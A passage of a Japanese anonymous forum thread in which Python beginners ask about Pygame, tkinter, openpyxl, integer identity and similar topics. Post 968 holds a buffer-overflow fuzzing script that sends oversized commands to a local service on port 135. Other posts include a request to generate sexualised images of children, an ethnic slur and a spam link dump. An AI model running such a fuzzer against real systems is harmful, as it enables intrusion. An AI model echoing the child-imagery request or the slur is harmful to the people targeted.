line(0,y/2,x,y/2)

if __name__ == '__main__':
run(Game(), PORTRAIT, show_fps=True)


これで描けるがドキュメント読んで例題を真似するところから始めろ

英語が読めないのかもしれんが、プログラムやりたければ英語は必須
Google翻訳でも辞書でも使いながら読め
0789デフォルトの名無しさん
垢版 |
2019/07/04(木) 11:39:52.41ID:1vh1y3WY
Pythonの学習を飽きずに続ける為にはPygameのような遊びが必要。
0791デフォルトの名無しさん
垢版 |
2019/07/04(木) 13:08:47.05ID:xB73QuGr
PC98時代のBASICは簡単に図形が書けてそれが全く無意味でも見ていて楽しかったが
今はそういうのが少ない
Pythonに限らず終始コンソールとにらめっこ、これじゃあ飽きる

文字が表示されただけだとフーンで終わりだけど
線が一本出てくるだけでヴィジュアルな説得力が違うらしい
0792デフォルトの名無しさん
垢版 |
2019/07/04(木) 13:13:51.59ID:P2OYpX0Q
でもあれって文字と図形の画面が重なっているってだけで今だって別ウインドウに表示できるじゃん。
0793デフォルトの名無しさん
垢版 |
2019/07/04(木) 17:21:38.05ID:jHXVSuA9
>>788
ありがとうございます!

翻訳ソフト使うと化けてわからない事多々あるんですけど、ある程度は自力で理解できるレベルじゃないときついですか?
0794デフォルトの名無しさん
垢版 |
2019/07/04(木) 18:06:42.63ID:jHXVSuA9
>>790
ゆくゆくやりたくてPython始めたけど用語とか全然わからないからそこ鍛えます
0795デフォルトの名無しさん
垢版 |
2019/07/04(木) 18:15:33.48ID:iuGJBH22
Pythonistaみたいなマニアックな環境の情報なんて日本語では殆どないから難しそうと思っても元のドキュメントにあたること

最近のGoogle翻訳優秀だけど、英文を自力で読む能力がないと変な翻訳になった時にその部分を読むことが出来ないので多少は必要

sceneのドキュメントならgoogle翻訳でもほぼ意味の通る日本語訳が得られるが、逃げてたらいつまで経っても読めるようにならないからgoogle翻訳しながらで良いから英語と日本語を見比べて英語に慣れろ

コードを含んでるのを一括で翻訳させるとコード部分がおかしくなるから必要なところだけコピペで翻訳

そもそもsceneみたいなpythonista固有の話はpythonistaスレで聞いた方が良いぞ
0796デフォルトの名無しさん
垢版 |
2019/07/04(木) 18:44:46.57ID:VpXpLSzf
Pythonistaは捨てた方が良い
初心者ならなおさら早く捨てろ
0799デフォルトの名無しさん
垢版 |
2019/07/04(木) 19:34:19.82ID:iuGJBH22
iosで動くものが作りたければ悪くない。

pythonの勉強したいだけなら安物ノートPC買ってanacondaでもぶち込むのが良いと思う。
スマホでプログラミングとかめんどくさい。
ios関係ない部分はノートPCで作ってテストする方が楽だし。
0801デフォルトの名無しさん
垢版 |
2019/07/05(金) 09:05:36.21ID:mnomUbi5
>>799
外出先でラズパイのテストするのにpythonista優秀かなって思ったんですけど微妙だし、iPhone特化ならSwiftの方が楽しそうだし思った以上に微妙なアプリですね
0802デフォルトの名無しさん
垢版 |
2019/07/05(金) 09:08:42.66ID:PPVi4gbV
リモートでという訳じゃないんだよね
0804デフォルトの名無しさん
垢版 |
2019/07/05(金) 10:42:46.12ID:+NvS7zWZ
微妙なレス乙。
0805デフォルトの名無しさん
垢版 |
2019/07/05(金) 13:53:26.21ID:QcOY/dYf
大学の夏休みにpythonを勉強しようと思うんだがオススメの本とかサイトとかありますか?
他はプログラミング言語ではないですがhtml cssを勉強したくらいです
0806デフォルトの名無しさん
垢版 |
2019/07/05(金) 14:05:34.83ID:VjosMbCo
pythonの用途によるでしょう
・そのままweb関連に使用するならどのフレームワーク選ぶかによって変わってくる
・webとは関係ない用途ならまた変わる
・プログラミングの初学者向けにという話ならばそれはそれでまた変わる

初学者向けという話なら
個人的には本なんか買わずに適当にネット調べるだけでそういう解説サイトが腐るほど出てくるだろうから
自分が分かりやすいと思ったサイトで勉強すれば良いと思う
どうしても手元に「モノ」が無いと気が済まないという人なら申し訳ない
0807デフォルトの名無しさん
垢版 |
2019/07/05(金) 14:49:16.25ID:Faw4Vm9D
ゲームを造りたいです
Pythonista 以外で何がおすすめですか?
0808デフォルトの名無しさん
垢版 |
2019/07/05(金) 14:56:04.38ID:QcOY/dYf
>>806
最終的にはアプリを作りたいというのがあります
ただアプリ向きの言語は難しいのが多いイメージがあるので初めは相対的に容易であるらしいpythonを勉強しようと思いました。
pythonではYouTubeのようなwebサイトを作りたいです
0811デフォルトの名無しさん
垢版 |
2019/07/05(金) 15:10:19.67ID:Faw4Vm9D
7pay って java なんか
0812デフォルトの名無しさん
垢版 |
2019/07/05(金) 15:47:40.33ID:2wwKU1Zf
>>807
Pythonを学ぶことではなくゲームを作って人に遊んでもらうことが目的なら、誠に残念ながらPythonを諦めてUnityをやるのが正解
Pythonで学んだ基礎はC#でも活かせるし、ちょっとしたツールや作業でスクリプト言語は必須だから無駄にはならない
0818デフォルトの名無しさん
垢版 |
2019/07/05(金) 23:19:16.06ID:QClxBoOt
djangoで2段階認証システムを実装したいのですが、登録メールアドレスに対して認証パスワードを発行して本登録というよくあるやつをするのは難しいですか?
0819デフォルトの名無しさん
垢版 |
2019/07/05(金) 23:23:12.02ID:77aHTDd7
7ペイ(2段階認証…? 何だそれは…??)
0821デフォルトの名無しさん
垢版 |
2019/07/05(金) 23:45:33.01ID:Mf1JTcZw
>>818
難しくはないけど、メールサーバ立てたり、djangoとは関係ないところで知識が要るだろうね
0822デフォルトの名無しさん
垢版 |
2019/07/05(金) 23:55:13.43ID:V1OP8/TU
>>818
どういう環境でやりたいかが分からないけれど
実装したいサーバーでsendmailが動いていて
作成したメールをそこから送信出来るなら可能だと思う
0823デフォルトの名無しさん
垢版 |
2019/07/06(土) 05:54:33.18ID:NQ6yZ6bw
プログラミングは小さく分解して、コードを動かす事が大事ですか
ただ、ちゅーとをコピペするだけじゃ身につかないですもんね
0824デフォルトの名無しさん
垢版 |
2019/07/06(土) 09:16:50.71ID:Qorx3cLN
Dropboxがpython で作られてたから始めたけど
異なるOSとのファイル通信が分からない(セキュリティ込み)

なにかのライブラリが明快なUI層を提供し、水面下で難しいことやってくれるのか?
0826デフォルトの名無しさん
垢版 |
2019/07/06(土) 10:08:52.09ID:yL7WV1Xt
Dropboxが〜と言ってるから
Dropboxのマネしたいのかと思って、Dropboxが使っているhttpsを挙げたけど
単にセキュアなソケットが欲しいだけならpycryptoとかで暗号化したデータをソケットに書き込むだけ
0827デフォルトの名無しさん
垢版 |
2019/07/06(土) 10:30:23.27ID:Qorx3cLN
thanks
Dropboxのマネがしたかったんだ 平たく言えば課金の料金浮かして
容量制限もなく拡張の自由のあるのが欲しかった
0828デフォルトの名無しさん
垢版 |
2019/07/06(土) 10:41:03.34ID:yL7WV1Xt
であれば自鯖にNextcloudとか載せた方が楽だと思うなあ
自力で書きたいなら止めないけど
0832デフォルトの名無しさん
垢版 |
2019/07/06(土) 22:50:32.72ID:m5/URh2q
日経ソフトウェアのPythonムック本をちょこちょこやって
統計まで終わらせて

さあTensorFlowだ!
と思ってcondaってみようと思ったが
用心しとけと思って各種サイトを調べた

自分のPCはGPUも無いからCPU版を選ぶしかない

それはともかく、あるサイトでは
pipでいいよってあるが

本にはcondaで持ってこいってある

更にTensorFlowはベータ版で2が出たばかりか
でも1.5やらを薦めてる所が多い

おまけに自分のPythonは3.7になってる!!!
TensorFlowのページでは3.6までしか無いぞ!

これは、ちょっと数日悩んでみた方が安全なパターンだな、とw

今までこの本を読んできて、あちこちで警告は出た(matplotlibのバージョン違いゆえ
normedがdensityに変わったとか)ものの順調に来たが、
ここからは大変だ
0833デフォルトの名無しさん
垢版 |
2019/07/06(土) 23:00:00.83ID:n0aqwwda
初歩的な質問ですいません
invalid syntaxが出てどこが構文エラーなのかはわかりました
しかしバックスペースを使っても消せないです
どう消すのですか?
0834デフォルトの名無しさん
垢版 |
2019/07/06(土) 23:00:18.05ID:CYEA0Aa1
なんかこういうのってよくわからないけどあのモジュールのあの関数のあのメソッドさえ呼び出せばできる!みたいなブラックボックス感が気持ち悪い感じがしないでもない
完ぺき主義なんだが、でも一つ一つライブラリ内の動きまで全部把握しようとしたら大変なんだろうな
みんなよーわからんけどあの処理したいならあれをimportしとけ、みたいな感じで使ってるん?
0838デフォルトの名無しさん
垢版 |
2019/07/06(土) 23:22:25.67ID:bsIX/mec
>>837
インラインインタプリタだからそれだと一行ずつしか書き込めない。
エディタ(atomなり、VSCodeなりVimなり)使って丸ごと実行しろ。
0843デフォルトの名無しさん
垢版 |
2019/07/07(日) 00:49:34.42ID:xBPYzBO2
>>842
ありがとうございます
ということは消さずにほったらかして進めるかファイルから実行すればいいということですね
0845デフォルトの名無しさん
垢版 |
2019/07/08(月) 16:22:25.92ID:5h3wwFR4
tkinterのentryボックスへ自動入力モジュールpyautoguiを使って「test」と入力するものだけど、
testと入力された後でエントリーボックスが遅れて配置されるから想定通りに動かない。
これが想定通りに動かない理由はなぜ?

import pyautogui
import tkinter

root = tkinter.Tk()
e = tkinter.Entry(root, width="10")
e.pack()
e.focus_set()
pyautogui.typewrite('test')

root.mainloop()
0846デフォルトの名無しさん
垢版 |
2019/07/08(月) 16:25:46.00ID:5h3wwFR4
次に、エントリーボックスを最初に設置した上で実行しても、想定通りに動かない。
想定は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒pyautogui.typewrite('test')でエントリーボックスへ「test」と入力⇒print(x.get())でエントリーボックスの入力内容を読み取って表示
実際は、エントリーボックスを設置⇒ボタンを押し関数aaaが呼び出される⇒print(x.get())を実行する⇒エントリーボックスへ「test」と入力
と、pyautogui.typewrite('test')とprint(x.get())の実行順序が逆になる。そのためにprintが表示されない。
これらが書かれてる順番通りに動かない理由はなぜ?

import tkinter
import pyautogui

root = tkinter.Tk()

def aaa(x, y):
y.focus_set()
pyautogui.typewrite('test')
print(x.get())

text = tkinter.StringVar()
e = tkinter.Entry(root, width="5", textvariable=text)
e.pack()
tkinter.Button(root, text="ボタン", command=lambda: aaa(text, e)).pack()
root.mainloop()
0847デフォルトの名無しさん
垢版 |
2019/07/08(月) 16:28:25.75ID:Wl9thvkN
mainloopが始まる前に送信したらあかんで
0848デフォルトの名無しさん
垢版 |
2019/07/08(月) 16:31:41.13ID:Wl9thvkN
順番が入れ替わるのも関数を抜けてmainloopに戻ってから処理されるからやで
0849デフォルトの名無しさん
垢版 |
2019/07/08(月) 20:50:21.46ID:CstuxD8g
pythonの実行自体を分析したりしたいんだけど、traceモジュール以外に面白そうなオプションとかモジュールってある?
0850デフォルトの名無しさん
垢版 |
2019/07/08(月) 22:31:00.37ID:diib63X5
スペルチェックできるlinterはありますか?
pycodestyleいれてみたのですが、
print("a")
のところを
prant("a")
と打ってもエラーが出ません。
0851デフォルトの名無しさん
垢版 |
2019/07/09(火) 08:06:03.08ID:ArvhGjhl
教えてください

環境 win10+python3.7+openpyxl2.6.2

openpyxl.load_workbook(FILENAME)
このコマンドでエクセルファイルを読み込んでいます。

出力に応じてセルを結合していると時間がかかったため、予めセルを結合したファイルを作成して読み込みたいのですが、なぜかそのファイルを読み込むとその行で止まります。
read_only=trueで読み込むとすぐ完了するのですが原因はなにが考えられますか?

ファイルの大きさは100kb弱です
0852デフォルトの名無しさん
垢版 |
2019/07/09(火) 08:17:17.86ID:6ZGaSuf8
>>851
止まるというのは
エラーになる→どんなエラーがどこで発生?
それ以外→どんな現象?入力待ち?ループ?処理時間が長い?
0853デフォルトの名無しさん
垢版 |
2019/07/09(火) 08:33:53.44ID:ArvhGjhl
>>852
多分処理時間が長いに分類されるはずです。エラーなどは特にでていませんので。
実行して2分ぐらいたっても終わってないのでpythonの実行を終了してます
0854デフォルトの名無しさん
垢版 |
2019/07/09(火) 13:38:25.06ID:6ZGaSuf8
>>853
openpyxlの中の動きは利用者側で修正するのはハードルが高いかな
バグレポート出すくらいか

利用する側で工夫するとしたら
例えばReadOnlyで開いて
別名で保存するとか
0855デフォルトの名無しさん
垢版 |
2019/07/09(火) 17:30:05.84ID:Iyp2p4+Y
Pythonがさらに成長 - 7月TIOBEプログラミング言語ランキング
2019/07/09 15:23 後藤大地
https://news.mynavi.jp/article/20190709-856639/

TIOBE Softwareから、2019年7月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語がどれ
だけ話題になっているかをインデックス化したもの。

https://news.mynavi.jp/article/20190709-856639/images/001.jpg
7月TIOBE Programming Community Index / 円グラフ

019年7月もPythonが引き続き増加した。Pythonは2018年に入ってから増加傾向を強めており、
現在もその傾向が続いている。TIOBE SoftwareはこうしたPythonの増加は他のプログラ
ミング言語の減少に結びついており、特にPerlとRの減少が大きいと指摘している。

特にTIOBE SoftwareはPerlについて言及。Perlは2005年の段階では3位のポジションにあり、
10%以上のインデックス値を得ていた。しかし、その後Perlはポイントを減らし、現在では
Perlは観測史上最も低い値をつけている。
0856デフォルトの名無しさん
垢版 |
2019/07/09(火) 17:37:18.17ID:K/xdhMHC
>>855
ブビィは?ブビィはどこ?wwww
0859デフォルトの名無しさん
垢版 |
2019/07/09(火) 18:43:30.51ID:K/xdhMHC
おいおいjsじゃなくてブヒィだろこんな少ないわけないのわwwwww
0860デフォルトの名無しさん
垢版 |
2019/07/09(火) 18:57:08.36ID:Bxc9+xb9
検索される=奥が深い言語、だろ
利用者数あるいは奥の深さで検索される
ポインタの至るところで躓くC言語は余りにも奥が深いので検索されまくる
0863デフォルトの名無しさん
垢版 |
2019/07/09(火) 20:20:00.11ID:eMVJsjHB
ケースバイケースだろんなもん
WindowsのGUIアプリをPythonで組みたいか?
0864デフォルトの名無しさん
垢版 |
2019/07/09(火) 21:11:47.35ID:kBXtWzHg
C#は社内システムとかで使われたりすることも多いからこの手の統計には現れにくい
0866デフォルトの名無しさん
垢版 |
2019/07/09(火) 22:10:17.75ID:SdMmc1kb
>>864
検索結果から話題になっている件数か何かを調べたんだから
社内システムでもその言語について話題にすればヒットするんじゃね?
0867デフォルトの名無しさん
垢版 |
2019/07/09(火) 22:24:23.67ID:6YknmgzY
>>854
別名で保存するとreadonlyじゃって怒られましたわ

別ブック作成してシートコピーしようとしたら、別ブックも出来ないんですね〜☺
0868デフォルトの名無しさん
垢版 |
2019/07/09(火) 22:56:58.86ID:6YknmgzY
>>854
ありがとう&すんまへん。行数小さくしたらできた。ただただcpuスペックが弱いだけでござった。ちなみに元のファイルが1000行ぐらいあって放置してたら300秒かかってました。

う〜む。結合セル重いな
0872デフォルトの名無しさん
垢版 |
2019/07/10(水) 10:52:48.29ID:GzbTel9Z
パズルゲームにおけるブロックの入れ替えの概念はどういうものでしょうか
参考ページでもアレば教えてください

配列でブロックをズラッとならべて、クリックされた位置のブロックを入れ替えたりするには
0873デフォルトの名無しさん
垢版 |
2019/07/10(水) 11:29:06.85ID:bzIzkqr1
>>872
一つでもいいので今までに実装したことのあるアルゴリズムを書いてみてください
0878cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
垢版 |
2019/07/10(水) 23:04:13.36ID:p0l6FVVk
cufflinksを使って、plotlyを動かしても、以下のエラーが出る。
どうすれば、いいのか(泣)

ValueError:
Invalid value of type 'numpy.int64' received for the 'name' property of scatter3d
Received value: 0

The 'name' property is a string and must be specified as:
- A string
- A number that will be converted to a string
0879cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
垢版 |
2019/07/10(水) 23:04:48.57ID:p0l6FVVk
import pandas as pd
import cufflinks as cf
import numpy as np
from sklearn import datasets
from sklearn.manifold import TSNE
pd.options.display.max_rows=10
plotly.offline.init_notebook_mode(connected=True)
cf.go_offline()
digits = datasets.load_digits()
df = pd.DataFrame(digits.data)
df["label"] = digits["target"]

X2=TSNE(n_components=2,verbose=True).fit_transform(df.values)
embed2d = pd.DataFrame(X2, columns=list("XY"))
embed2d["label"] = df["label"]

embed2d.iplot(kind="scatter",
x="X", y="Y",
xTitle="X", yTitle="Y",
categories="label",
title="T-SNE 2D demo")
0880cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
垢版 |
2019/07/10(水) 23:20:09.33ID:p0l6FVVk
plotly.offline.init_notebook_mode(connected=True)はいりません。
抜いてくださいね。
0881デフォルトの名無しさん
垢版 |
2019/07/10(水) 23:23:57.07ID:y6DBJPnI
とりあえずIDE使うなりなんなりでどのステップでエラー吐いてるのかくらいつきとめて
0883デフォルトの名無しさん
垢版 |
2019/07/11(木) 00:46:56.25ID:YHUan2/q
よく見てないけど見た感じ2次元データなのにscatter3dみたいなのが呼ばれてる時点で終わってないか
呼び出し方法のリファレンスとか見直してみたら
0885デフォルトの名無しさん
垢版 |
2019/07/11(木) 15:16:27.45ID:zVC+qrY0
アクション要素あるしヘタにグラフィックに凝らなくていいし題材としてはいいと思うよ
0890デフォルトの名無しさん
垢版 |
2019/07/11(木) 18:33:51.31ID:/3hHfdds
なんなんだろうな
よくわからん

ttps://ideone.com/tsc3Z7

def func(x):
ch = x + '.'
while True:
yield ch
ch += ch

i = 0
for x in func('p'):
print str(i) + ':' + x
i += 1
if not i < 5 :
break

↓結果

0:p.
1:p.p.
2:p.p.p.p.
3:p.p.p.p.p.p.p.p.
4:p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.
0891デフォルトの名無しさん
垢版 |
2019/07/11(木) 18:42:23.80ID:dt9f58xR
何を疑問視してるんか知らんが
generator 内の ch は保持される
ch += ch なんてしたら倍々になる罠
0893デフォルトの名無しさん
垢版 |
2019/07/11(木) 19:45:39.42ID:vU1ZVKQt
なんだ使ってる人間のレベルは
N88BASICの時代から大して進化してないじゃんww
0895デフォルトの名無しさん
垢版 |
2019/07/11(木) 23:40:45.70ID:EFuj/0Xm
JKのはそんなに柔らかくない
0899デフォルトの名無しさん
垢版 |
2019/07/13(土) 00:15:02.94ID:rbeTwuTm
今 Java でさえラムダ式あるし、単に簡易的な関数オブジェクトのシュガーシンタックスでしょう
簡単に書けるから見やすい
関数オブジェクトをよく使う場面といえばリスナーでしょうね
ボタンのリスナーとかね
0904デフォルトの名無しさん
垢版 |
2019/07/13(土) 11:50:42.40ID:h87sv6fM
アロー"演算子"なんてそもそもpythonに無くない?
アロー"式"なら調べると出てくるけども
0906デフォルトの名無しさん
垢版 |
2019/07/13(土) 15:07:27.48ID:H4ToI7wx
敢えて分類するなら、separator(,とか括弧とかと同類)か?
0907デフォルトの名無しさん
垢版 |
2019/07/13(土) 16:16:38.27ID:EJ16K1Ps
Jythonとかいうの触らせられてるけどPythonと何が違うの?
まあ、Pythonも知らんのだけど
0908デフォルトの名無しさん
垢版 |
2019/07/13(土) 16:30:02.69ID:ip8BcQSC
windowsアプリ作るのならどういう環境がいいんでしょうか
visual studioがちょっと自分の環境では重いんです
vs codeならなんとか行ける感じです(といってもこっちはメモリ食いますが、、、)
0909デフォルトの名無しさん
垢版 |
2019/07/13(土) 20:03:55.79ID:Ge3rT0UH
C#
0911デフォルトの名無しさん
垢版 |
2019/07/13(土) 20:37:46.99ID:EdaTEXa+
ちょっと前までは、Winアプリ作りたい初心者が間違って入ってきてしまう言語の筆頭はJavaだったんだけどな
最近はPythonが持ち上げられすぎてこういう悲劇も増えてきたね
0913デフォルトの名無しさん
垢版 |
2019/07/13(土) 20:47:30.93ID:h87sv6fM
>>908
質問が非常に分かりにくい。
・クソPCでも動く開発ソフトウェアはどういうものがあるのか
・どういうハード環境ならVSやVSCodeが動くのか
のどっちにも取れてしまう質問の仕方。

あとそもそも「環境」なんて曖昧な質問書くなら今の環境(スペックやソフト)を書け。

もう既に出てるが、
今の情報量だけでは「そのクソPCを捨ててVS入れてC++なりC#書いとけ」と俺も思う。
0922デフォルトの名無しさん
垢版 |
2019/07/14(日) 01:27:31.41ID:PB/8UprD
__init__とreturnがないdefはどちらも変数が初期化されるから、ほぼ同じ働きって事だよね?
0923デフォルトの名無しさん
垢版 |
2019/07/14(日) 01:31:58.99ID:YF+u+8v3
RaspiでPython使う目的が自動制御と機械制御だから
ディープラーニングの性能限界は知らない
0925デフォルトの名無しさん
垢版 |
2019/07/15(月) 07:35:08.84ID:5DmYxF6F
言語は色々やるべきですか?
ゲームエンジンやりながら、firefoxのアドオンやってつ
0927デフォルトの名無しさん
垢版 |
2019/07/15(月) 08:55:44.21ID:sSqb6lN3
だいたいの人は3ヶ月以内にプログラミングに飽きるから
第二言語やるとしてもそれを乗り越えてからでいいよ
0928デフォルトの名無しさん
垢版 |
2019/07/15(月) 09:35:58.71ID:3kssHGHN
こういう香具師が7payみたいなチョン簿システム造っちゃうんだろうな
0931デフォルトの名無しさん
垢版 |
2019/07/16(火) 20:58:52.69ID:6+TKArvY
a = 1
b = 1
a is b

↑がTrueになるのはなぜですか?
aとbは違うオブジェクトなのでFalseになるのかと思ったのですが

試しに b = 2 にしてみると False になりましたが、isは値を比較することもあるのですか?
0932デフォルトの名無しさん
垢版 |
2019/07/16(火) 21:12:20.25ID:19NsgmQw
違う
isはあくまでも参照を比較する
間違っているのは「aとbは違うオブジェクト」の部分
CPythonはパフォーマンス目的で-5から256までの整数をシングルトンで確保しており、
通常はそれらの数字が新たなオブジェクトとして生成されることはない
だからisで比較してもTrueになる
0933デフォルトの名無しさん
垢版 |
2019/07/16(火) 21:19:47.90ID:6+TKArvY
>>932
id(a), id(b)
でidを見てみたら同じオブジェクトでした ;
CPythonの仕様なんですね…知りませんでした
どうもありがとうございました
0934デフォルトの名無しさん
垢版 |
2019/07/16(火) 21:20:50.88ID:/Cc9wbE1
a = 1
b = 1
id(a)
id(b)
id(1)
全部同じ値が出力される

a = 257
b = 257
id(a)
id(b)
id(257)
全部違う値が出力される
0935デフォルトの名無しさん
垢版 |
2019/07/16(火) 22:56:04.98ID:/UEzyRoP
これ定期的にでてくるけど、オブジェクトと実装への理解に繋がるので別にいいかなって思います
0937デフォルトの名無しさん
垢版 |
2019/07/17(水) 01:39:49.83ID:yLfGM6yM
ご存知の方いらっしゃったら教えてください。
pythonでプチDTMやるんだったら
どんなモジュールがおすすめですか?
短い感じMIDI作曲でも構いません。よろしくお願いします。
0940デフォルトの名無しさん
垢版 |
2019/07/17(水) 11:01:56.46ID:4cdZ3DGb
最近この手の漠然とした素なのか釣りや煽りなのか
なんでPythonでやろうとしてるのかわからんのが多いね。
逆になにをやらせたいの?
GUIでシーケンサとかMMLコンパイルとか?
「短い感じMIDI作曲」が何のことだかもわからん
>939も言ってるけど専用のソフトでなんでやらないのかね
0943デフォルトの名無しさん
垢版 |
2019/07/17(水) 13:43:56.90ID:FD/sfaX1
>>937
pygame.midi
python-midi
pretty-midi
mido
0944デフォルトの名無しさん
垢版 |
2019/07/17(水) 13:46:29.28ID:X0k3NC82
DTMがメインなのではなくてPythonの勉強の題材としたいという話では
他人がPythonを何に使うのかという事にはケチ付ける必要は無いと思う
0945デフォルトの名無しさん
垢版 |
2019/07/17(水) 14:06:30.69ID:0nofNBEy
大量に曲を学習して新曲吐かせるのは趣味か実験としてはちょっと楽しいかもね。
0947デフォルトの名無しさん
垢版 |
2019/07/17(水) 20:26:16.71ID:LDdW0VCl
LMMSは使ったことあるけどフリーにしては良く出来てたな
まぁ俺はFL Studio使うけど
0957デフォルトの名無しさん
垢版 |
2019/07/18(木) 11:46:44.98ID:NKkoL56O
Python2のときは
>>> type(range)
<type 'builtin_function_or_method'>
>>> type(xrange)
<type 'type'>
だから、3用に書き換えたときにに書き換え忘れたのかもね。
0960デフォルトの名無しさん
垢版 |
2019/07/18(木) 22:08:41.79ID:JZFbYeti
悪意ある「Python」ライブラリーがPyPIで発見される--研究者が報告
Catalin Cimpanu(Special to ZDNet.com) 翻訳校正:編集部 2019年07月18日 11時12分
https://japan.zdnet.com/article/35140047/

 セキュリティ企業のReversingLabsは、悪意ある「Python」ライブラリーが公式の
「Python Package Index」(PyPI)にアップロードされていることを発見した。

 これら3つのパッケージ(「libpeshnx」「libpesh」「libari」)は、同じユーザー
(名前はruri12)によって作成されており、2017年11月以降、20カ月近くにわたってPyPI
からダウンロード可能な状態にあった。2019年7月に入って、これらのパッケージは、
ReversingLabsのセキュリティ研究者らによって発見された。

 ReversingLabsは7月9日、PyPIのリポジトリメンテナーに通報し、PyPIのセキュリティ
チームはその日のうちにこれらのパッケージを削除した。(中略)

 ReversingLabsによると、バックドアはインタラクティブシェルであり、攻撃者はそれを
使って、3つのパッケージがインストールされたコンピューターに接続し、コマンドを実行
した可能性があるという。

 ReversingLabsが3つのパッケージを見つけたとき、バックドアはlibpeshnxでのみアク
ティブになっていたが、ほかの2つのパッケージ(libpeshとlibari)には「コードのない
悪意ある関数への参照」が含まれていた。このことは、作者がバックドアを削除したか、
あるいは、ほかの2つのパッケージのバックドアを含むバージョンをロールアウトする準備
を進めていた可能性を示唆している。
0962デフォルトの名無しさん
垢版 |
2019/07/18(木) 23:33:11.30ID:ixQnk4MT
>>960
新参者は Xxx を使っておけという時
言語 Xxx はクラッカーにとってトロイの木馬仕込み時ってわけだ
0963デフォルトの名無しさん
垢版 |
2019/07/19(金) 23:56:12.27ID:f2UtXuai
>>950
>>952
lst [0]のが短くて良いと思うが。。。

Haskellのheadは別に便利とは思わんよ?
(引数の時点で(x:xs)とか出来るので滅多に使わんし)

Pythonのlst[n:]でHaskellのdrop n lst相当な方が羨ましいが。

第一、欲しいなら作れば良いじゃ無いか。
0964デフォルトの名無しさん
垢版 |
2019/07/20(土) 05:54:56.19ID:bpLSWw1y
エモいITキッズフェスが割とヤバ目なので寄付しろ
https://twitter.com/kondo_orange/status/1084963372624420864?s=21


https://twitter.com/kondo_orange/status/1147771514881601536?s=21

チャイルドフィルター、白Zでおなじみサイバーセキュリティ財団 宮脇プレゼンツ

https://csf.or.jp/about/

https://twitter.com/biwam/status/1108021515117715461?s=21

https://twitter.com/garhitech/status/1088991484978724865?s=21


https://twitter.com/jellyfishmovie/status/1126480155960983552?s=21

https://twitter.com/iteenslab/status/820544834310062081?s=21




https://readyfor.jp/projects/exakids2019

https://twitter.com/kondo_orange/status/1091538007633518592?s=21
https://twitter.com/5chan_nel (5ch newer account)
0966デフォルトの名無しさん
垢版 |
2019/07/20(土) 07:03:51.33ID:RdS7+qpt
pytorchの解説がどれもむずかしいのですが、初心者ははじめに何やれば良いんでしょうか
最終目的はaiでロリ画像を作ることです
0967デフォルトの名無しさん
垢版 |
2019/07/20(土) 08:15:40.55ID:P9wbpcK8
>>966
スレチする自称初心者に教えてやることは
  投稿前に必ず>>1くらいは全部読め
  半年ROMれ
くらいだな
0968デフォルトの名無しさん
垢版 |
2019/07/20(土) 12:06:50.56ID:DSdlNNWZ
これバッファオーバーフロー起こすとかで実行してみたんだが、全くそんな様子はない
どっか文法間違ってる?

import socket
buffer=["A"]
counter=50
while len(buffer) <=100:
buffer.append("A"*counter)
counter=counter+50
commands=["HELP", "STATS.", "RTIME.", "ITIME.", "SRUN.","TRUN.", "GMON.",
"GDOG.", "KSTET.", "GTER.", "HTER.", "LTER.", "KSTAN."]
for command in commands:
for buffstring in buffer:
print ("Exploiting" +command+":"+str(len(buffstring)))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',135))
s.recv(50)
s.send(command+buffstring)
s.close()
0969デフォルトの名無しさん
垢版 |
2019/07/20(土) 12:08:04.60ID:DSdlNNWZ
ちなみに消えちゃってるがちゃんとforの後のインデントや冒頭スペースは入れてる
0971デフォルトの名無しさん
垢版 |
2019/07/20(土) 12:52:58.13ID:yIzn2tUG
触ったことないんだけどAIで使うって聞いて、遅いって聞いて、は?と思ったら
遅いから数学関数を多数用意したところ、数学関数を多用するAIに向いてると

あとインデント式は普通の開発には厄介な面もあるけど、
ひたすら論理の整理が必要なAIには視認性が良くて便利なのかね
0976デフォルトの名無しさん
垢版 |
2019/07/20(土) 14:45:07.62ID:1y0e4GF6
>>962
libpeshnxもlibpeshもlibariも聴いたことないな

>>963
0980デフォルトの名無しさん
垢版 |
2019/07/20(土) 18:21:08.11ID:ppdy8tl0
臭う

●buffer=["A"]

●buffer.append("A"*counter)

●for buffstring in buffer:
●print ("Exploiting" +command+":"+str(len(buffstring)))

一酸化炭素くさい
0981デフォルトの名無しさん
垢版 |
2019/07/20(土) 18:34:39.82ID:P9wbpcK8
>>979
  _, ._
( ゚ Д゚)っ >環境(Pythonのバージョン・OS・IDEの種類とバージョン)をシッカリ書く

たしか
さいきんのPython3系は簡単お手軽なバッファオーバーフローができないように
セキュリティホールふさいだとかなんとかいう
0985デフォルトの名無しさん
垢版 |
2019/07/20(土) 22:03:12.00ID:P9wbpcK8
>>984
>While文がAの参照の悪さをしてそう
ないない

ぶっちゃけると
   >>979のコードの4−7行目はいったい何のためにあるのか察せなかった

あと

手打ちで写経したのかこれ?

スペースの数が4つじゃないところがあったり
8行目んとこのリストのHELPだけ「.」がなかったり
7行目の書き方は非推奨だったり
するんだが。



PEP8(PythonのGoodな書き方についての原則ルール)を読もう
ttps://pep8-ja.readthedocs.io/ja/latest/
0986デフォルトの名無しさん
垢版 |
2019/07/20(土) 22:33:54.07ID:zBgCRbaT
>>980
一酸化炭素は無臭だから怖い
0988デフォルトの名無しさん
垢版 |
2019/07/20(土) 23:38:50.97ID:MLRoJe+u
>>985
大サンクスコヽ(`Д´)ノ
ぶっちゃけると、どっかのセキュリティベンダー試験のWeb問題の中の、バッファオーバーフローをテーマにした問題で、
BOFを引き起こす意図であろうPython文が画像になっていて、その文字も曖昧なコード部分をいったい全部手書きにしたもの
0989デフォルトの名無しさん
垢版 |
2019/07/21(日) 05:13:00.04ID:utEuQb4D
>>988
>BOFを引き起こす意図であろうPython文
正しくしちゃうとコピーキャットが湧くから
わざと変にしてあるのかもしらんよ (´・ω・`)と いま おもた
0990デフォルトの名無しさん
垢版 |
2019/07/21(日) 08:15:24.48ID:LZnzMQmE
これネットワーク攻撃用のコードで、BOFが起きるのは相手先のサービスなのでは
0991デフォルトの名無しさん
垢版 |
2019/07/21(日) 12:25:10.85ID:pUigi9Rs
